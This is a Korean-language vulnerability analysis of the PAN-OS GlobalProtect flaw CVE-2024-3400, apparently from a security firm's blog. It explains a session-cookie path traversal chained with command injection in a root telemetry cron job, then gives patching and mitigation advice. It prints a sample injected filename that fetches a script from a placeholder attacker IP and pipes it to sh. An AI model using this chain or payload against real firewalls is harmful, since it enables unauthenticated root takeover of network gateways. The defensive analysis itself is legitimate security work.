Search

Palo Alto Networks PAN-OS CVE-2024-3400 취약점 분석

태그
PurpleHound
PAN-OS
Property
화면 캡처 2025-11-25 110643.png
작성날짜
2025/11/25

1. 개요

CVE-2024-3400은 Palo Alto Networks의 PAN-OS GlobalProtect 기능에서 발견된 심각도 10.0 (Critical)의 취약점이다. 이 취약점은 인증되지 않은 원격 공격자가 특수하게 조작된 네트워크 요청을 통해 방화벽 시스템에서 루트 권한으로 임의의 운영체제 명령을 실행할 수 있도록 허용하는 명령어 삽입(Command Injection) 유형에 해당한다.
취약점 공개 당시 이미 광범위한 실제 공격에 악용되었으며, 최근에는 Salt Typhoon과 같은 특정 공격 그룹이 여러 취약점과 함께 이 취약점을 다시 사용하고 있어 원격 접근 장비를 노리는 고위험 공격의 주요 표적으로 재주목받고 있다. 공격 성공 시 방화벽 장비 자체를 완전히 장악하고 내부 네트워크로의 침투 경로를 확보하게 되므로 대응이 필수적이다.
본 보고서는 CVE-2024-3400의 개요를 시작으로, 취약점의 기반 지식 및 기술적인 원인 분석을 통해 공격의 메커니즘을 심층적으로 다룬다. 또한 취약점 악용 시의 공격 영향과 이를 방어하기 위한 효율적인 완화 및 권고 사항을 제시하며, 최종적인 결론을 통해 조직의 대응 전략 수립에 실질적인 도움을 제공하는 것을 목표로 한다.

2. 취약점 사전 지식

2.1. Cron의 권한 상승과 지속성

Cron은 리눅스 기반 운영체제에서 특정 명령을 정해진 주기마다 자동으로 실행하도록 예약하는 서비스이다. 이 기능은 로깅, 모니터링, 시스템 상태 점검 등 다양한 작업을 주기적으로 처리하는 데 활용된다. 시스템 사용자는 cron 작업을 등록할 때 작업을 실행할 때 사용할 권한을 설정할 수 있으며, 공격자들은 이 점을 이용하여 이미 최고 권한으로 작동하는 주기적 실행 프로세스를 악용하거나 높은 수준의 권한을 획득 후 자신의 악성 코드를 Cron에 등록하여 장비 재부팅 후에도 공격의 지속성을 확보하는 주요 수단으로 활용한다.

2.2. 장치 텔레메트리(Device Telemetry)

장치 텔레메트리는 장비의 시스템 상태나 운영 데이터를 수집하여 벤더에게 전송하는 모니터링 기능이다. 이 기능은 시스템의 상태를 주기적으로 보고하기 위해 자동화된 프로세스를 사용한다. 공격자 관점에서는 텔레메트리와 같이 주기적으로 작동하는 프로세스가 입력값을 처리하는 로직에 결함이 있을 경우, 이를 임의 명령 실행(RCE)의 연결 고리로 악용할 가능성이 높다. CVE-2024-3400의 초기 공격 방식에서도 이 텔레메트리 서비스의 처리 로직이 취약점 악용에 결정적인 역할을 했다.

3. 취약점 원인 분석

CVE-2024-3400은 하나의 단일 취약점이라기보다는, PAN-OS에 존재하는 두 가지 버그가 결합하여 최고 권한 원격 코드 실행(RCE)을 가능하게 한 공격 체인의 결과물이다. 공격은 첫 번째 버그인 GlobalProtect 웹 서비스의 세션 처리 로직 결함을 이용해 파일 시스템에 임의 파일을 생성하고, 이어서 두 번째 버그인 장치 텔레메트리 서비스의 파일 처리 로직 결함을 이용해 이를 시스템 명령어 삽입으로 연결하는 2단계 과정을 거쳐 성공한다.

3.1. 임의 파일 생성

CVE-2024-3400 공격 체인의 첫 번째 단계는 GlobalProtect 웹 서비스 내에서 발생하는 임의 파일 생성이다. GlobalProtect는 사용자의 VPN 접속 및 에이전트 관리를 위해 자체적인 웹 서버 기능을 포함하고 있으며, 각 접속자에 대한 개별 세션 정보를 파일로 저장하는 고유의 로직을 가지고 있다.
세션 파일을 새로이 생성하고 읽어들이는 작업은 main.(*SessDiskStore).New() 메서드에서 담당하는데, 해당 메서드의 동작 구조를 간략하게 정리하면 다음과 같다. (본 보고서와 무관한 실행 분기는 제외하였다)
1. HTTP 헤더에서 SESSID(세션 ID) 쿠키 값 획득. 2. 세션 ID를 "/tmp/sslvpn/session_" 문자열에 이어붙여 세션 파일 경로 생성. 3. 세션 파일을 연 후 마샬링된 세션 정보를 획득. 이 때 파일이 없을 경우 파일 생성. 4. 읽어들인 마샬링된 세션 정보를 언마샬링하여 구조체 반환.
Go
복사
최우선적으로 위 실행 흐름에서 주목해야 할 점은 세션 파일의 경로를 어떻게 생성하는가이다. 해당 메서드를 디컴파일하여 분석해보면 runtime.concatstring2()path/filepath.Join() 함수를 이용, 단순히 문자열을 이어붙여 경로를 만드는 걸 확인할 수 있는데, 이 과정에서 세션 ID의 유효성을 검증하지 않는다.
fmt_8 = (string_0)net_http__ptr_Request_Cookie(r, name); v3 = (uint8 *)*((_QWORD *)fmt_8.str + 2); session->ID.len = *((_QWORD *)fmt_8.str + 3); session->ID.str = v3; ... store_8e[0].str = (uint8 *)"session_"; store_8e[0].len = 8; store_8e[1] = session->ID; v_8 = runtime_concatstring2(0, *(string_0 (*)[2])&store_8e[0].str); ... stored.array = &path; stored.len = 2; stored.cap = 2; filename = path_filepath_Join(stored); *(retval_ADBCD0 *)&storea[16] = main_loadSessFile(filename);
C
복사
[코드 1] gpsvc!main.(*SessDiskStore).New() 함수 코드 일부
최종적으로 완성된 세션 파일 경로는 그대로 main.loadSessFile() 함수로 전달된다. 해당 함수에서는 Open 시스템 콜을 통해 파일을 여는데, 새로운 세션 파일을 생성할 경우를 위해 O_CREAT 플래그를 사용하는 것을 확인할 수 있다. 이 플래그는 대상 파일이 없을 경우 새로 생성할 것임을 뜻한다.
*(retval_4D5DF0 *)&path[32] = syscall_Open(filename, O_CREAT, 0x180u);
C
복사
[코드 2] gpsvc!main.loadSessFile 함수 코드 일부
위 과정을 통해 결과적으로 공격자는 HTTP 헤더의 세션 ID를 조작하여 임의 경로에 파일을 생성할 수 있다. 예를 들어 세션 ID로 /../../malicious 같은 값을 전달하면 /tmp/sslvpn/../../malicious, 즉 루트 디렉터리에 malicious 파일을 생성할 수 있는 것이다.
하지만 파일을 생성했다 하더라도 해당 세션 ID와 연결된 세션 정보가 없으며, 파일은 비어있기에 언마샬링 단계에서 예외가 발생하고 처리가 종료된다. 그리고 새로 생성한 파일에도 별다른 데이터 저장은 이루어지지 않는다. 따라서 이 버그만으로는 의미 있는 공격을 수행하기 어려우며, 주로 후술할 버그와의 체이닝을 통해 완전한 공격이 이루어졌다.

3.2. 명령어 삽입

CVE-2024-3400 공격 체인의 두 번째 단계이자 결정적인 단계는 장치 텔레메트리 서비스에서 발생하는 명령어 삽입이다. 3.1 단계에서 임의 이름 및 경로로 파일을 생성하는 데 성공했다면, 이 생성된 파일을 RCE로 연결하기 위해서는 다음 두 가지 핵심 요건을 만족하는 시스템 프로세스가 존재해야 한다.
1.
파일명 처리 루틴: 생성된 파일을 주기적으로 혹은 특정 이벤트 발생 시 처리하는 루틴이 있을 것.
2.
새니타이징 부재: 파일명을 처리하는 과정에서 해당 파일명 문자열에 대한 검증을 수행하지 않을 것.
PAN-OS 환경에서 이 두 가지 요건을 완벽하게 충족시키는 프로세스가 바로 최고 권한으로 주기적으로 실행되는 장치 텔레메트리 서비스이다.
장치 텔레메트리 서비스는 여러 시스템 Cron 작업으로 이루어져 있으며, /etc/cron.d 디렉터리에 텔레메트리 수집과 전송 작업에 대한 설정이 존재한다. 이 중 device_telemetry_send 작업이 데이터 전송을 담당하는데, 매 분마다 root 사용자의 권한으로 Python 스크립트 파일인 dt_send를 실행한다.
[root@PA-VM admin]# ls -l /etc/cron.d/device_telemetry* -rw-r--r-- 1 root root 118 Jun 22 2023 /etc/cron.d/device_telemetry -rw-r--r-- 1 root root 130 Jun 22 2023 /etc/cron.d/device_telemetry_daily -rw-r--r-- 1 root root 133 Jun 22 2023 /etc/cron.d/device_telemetry_hourly -rw-r--r-- 1 root root 113 Jun 22 2023 /etc/cron.d/device_telemetry_send -rw-r--r-- 1 root root 129 Jun 22 2023 /etc/cron.d/device_telemetry_weekly [root@PA-VM admin]# cat /etc/cron.d/device_telemetry_send SHELL=/bin/bash * * * * * root /usr/bin/flock -w 0 /var/lock/device_telemetry_send.lock /usr/local/bin/dt_send
Bash
복사
dt_send 스크립트에는 텔레메트리 파일을 전송하는 send_file() 함수가 존재한다. 이 루틴은 수집된 텔레메트리 파일 경로를 사용하여 전송을 위한 시스템 명령문을 완성시킨 뒤 이를 실행시킨다. 이 명령문 제작 과정에서 고정된 시스템 명령문("/usr/local/bin/dt_curl -i %s -f %s")에 파일 경로가 그대로 포매팅 되며, 3.1의 파일 생성 버그와 마찬가지로 파일 경로에 대한 어떠한 검증도 이루어지지 않는다.
def send_file(self, send_fname, intvl="", b_delete=True): ... if self.b_new_tx_intvl or (...) or self.b_man: send_file_cmd_fmt = "/usr/local/bin/dt_curl -i %s -f %s" if (len(dest_server_ip) == 0): send_file_cmd = send_file_cmd_fmt % (dst_server_endpoint, send_fname) else: send_file_cmd = send_file_cmd_fmt % (dest_server_ip, send_fname) ... try: cmd_status = techsupport.dosys(send_file_cmd, None)
Python
복사
[코드 3] dt_send!send_file() 함수 코드 일부
def send_file(logger, dbg, fname, dest_ip, key, signedUrl, capath): ... else: curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s" \ %(signedUrl, fname, capath) ... stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)
Python
복사
[코드 4] dt_curl!send_file() 함수 코드 일부
최종적으로 완성된 명령문은 curl 바이너리를 통해 파일을 전송하는 정상적인 명령문이나, 공격자는 파일 경로에 백틱 등의 메타 문자를 포함시킴으로써 명령어 치환 기능을 악용, 임의의 시스템 명령을 수행할 수 있게 된다.
# 정상 명령문 /usr/bin/curl ... --data-binary @/opt/panlogs/tmp/device_telemetry/minute/<Telemetry_File_Name>.tgz ... # 악성 명령문 (악성 스크립트 다운로드 및 실행) /usr/bin/curl ... --data-binary @/opt/panlogs/tmp/device_telemetry/minute/`curl{$IFS}<Attacker's_IP>|sh` ...
Bash
복사
따라서 3.1 단계에서 악성 파일이 의도된 경로에 성공적으로 생성되면, 매 분 최고 권한으로 실행되는 Device Telemetry의 크론 작업이 이 파일을 처리하는 과정에서 명령어 삽입이 발생하고, 이로써 최종적으로 최고 권한 RCE가 달성된다.

4. 검증 결과 및 시연

[그림 1] CVE-2024-3400 원격 코드 실행 공격 과정
[동영상 1] CVE-2024-3400 원격 코드 실행 시연(한국어)
[동영상 2] CVE-2024-3400 Remote Code Execution DEMO(English)

5. 공격 영향

공격자는 취약점 악용을 통해 인증 없이 최고 권한(루트 권한)을 확보할 수 있으며, 그 권한을 활용하여 다음의 행동을 취할 수 있다.
지속성 확보: 방화벽 파일 시스템 내부에 지속성을 유지하는 웹 셸, 백도어 (예: UPSTYLE) 등 지속적인 공격을 위한 환경을 구축한다.
내부망 침투: 내부 네트워크를 정찰하고 횡적 이동(Lateral Movement)을 시도한다.
보안 무력화: 방화벽의 보안 기능을 조작하여 무단 접근을 허용하 방어를 회피한다.
민감 정보 탈취: 방화벽 설정 파일, 인증 토큰, 서비스 계정 정보 등 주요 데이터를 수집 및 유출한다.
이러한 공격의 심각성은 GlobalProtect가 가진 SSL VPN의 전략적 위치 때문에 더욱 증폭된다. GlobalProtect는 외부와 내부 인트라넷을 연결하는 주요 보안 관문이며, 사용자 인증 정보, 서비스 계정, 내부 네트워크 경로 등 민감한 자원을 다룬다. 따라서 이 핵심 관문을 통해 루트 권한이 탈취될 경우, 내부 네트워크 보안 전체가 일시에 무력화될 수 있다.

6. 완화 및 권고 사항

CVE-2024-3400에 대한 공식 핫픽스가 이미 배포되었으므로, 최고 권한 RCE라는 취약점의 심각성을 고려할 때 최우선적인 대응은 즉각적인 패치 적용이다. 조직은 최신 핫픽스를 적용하는 것 외에도 공격 방어를 강화하기 위한 다음 권고 사항들을 이행해야 한다.
최신 핫픽스 즉시 적용: PAN-OS 핫픽스 버전 (예: 11.1.2-h3, 11.0.4-h1, 10.2.9-h1 이상)으로 가장 신속하게 업데이트를 완료한다.
Threat Prevention 시그니처 적용: 가능하다면 PAN-OS 장비에 Threat Prevention 구독을 활성화하고, Vulnerability Protection 시그니처 (ID 95187)를 GlobalProtect 인터페이스에 적용한다.
GlobalProtect 접근 통제 최소화: 공용 인터넷에 노출된 GlobalProtect 접속용 인터페이스에 대해 VPN이 필수적인 신뢰할 수 있는 IP 대역 또는 국가만 접근을 허용하도록 ACL 정책을 최소화한다.
덧붙여 취약점 공개 초기에는 Device Telemetry 기능이 취약점 악용에 필수적인 것으로 알려져 이를 비활성화하는 것이 임시 완화책으로 여겨졌으나, 이것만으로는 공격을 완전히 방어할 수 없음이 확인되었다.

7. 결론

CVE-2024-3400은 오늘날의 가장 심각한 유형의 제로데이 위협을 명확히 보여준다. 이 취약점은 방화벽 장비라는 최전선 보안 관문에서 인증 없이 최고 권한이 탈취 가능하다는 본질적인 위험성을 지니고 있다. 본 분석 결과, 이 취약점은 GlobalProtect 웹 서비스의 파일 기반 세션 처리 결함과 장치 텔레메트리 주기적 실행 로직의 결함이라는 두 가지 버그가 결합된 공격 체인의 결과임을 확인하였다.
특히, 공격자가 매 분 최고 권한으로 실행되는 시스템 프로세스를 악용했다는 점은 큰 문제다. 이는 장비 재부팅이나 초기 대응에도 불구하고 공격의 지속성 확보가 매우 용이하며, 방화벽 장비의 영구적인 장악으로 이어질 수 있음을 의미한다.
따라서 모든 조직은 공식 핫픽스 적용을 단 하나의 예외도 없이 최우선 명령으로 이행해야하며, 패치 후에도 외부 노출 장비에 대한 ACL 최소화 및 Threat Prevention 시그니처 적용을 적극적으로 고려하여야 한다. 이 취약점은 단순한 대응을 넘어, VPN 및 방화벽 장비를 노리는 공격 트렌드에 맞서 모든 보안 경계 장비의 취약점 관리 수준을 근본적으로 재점검하는 계기로 삼아야 한다.

8. 참고자료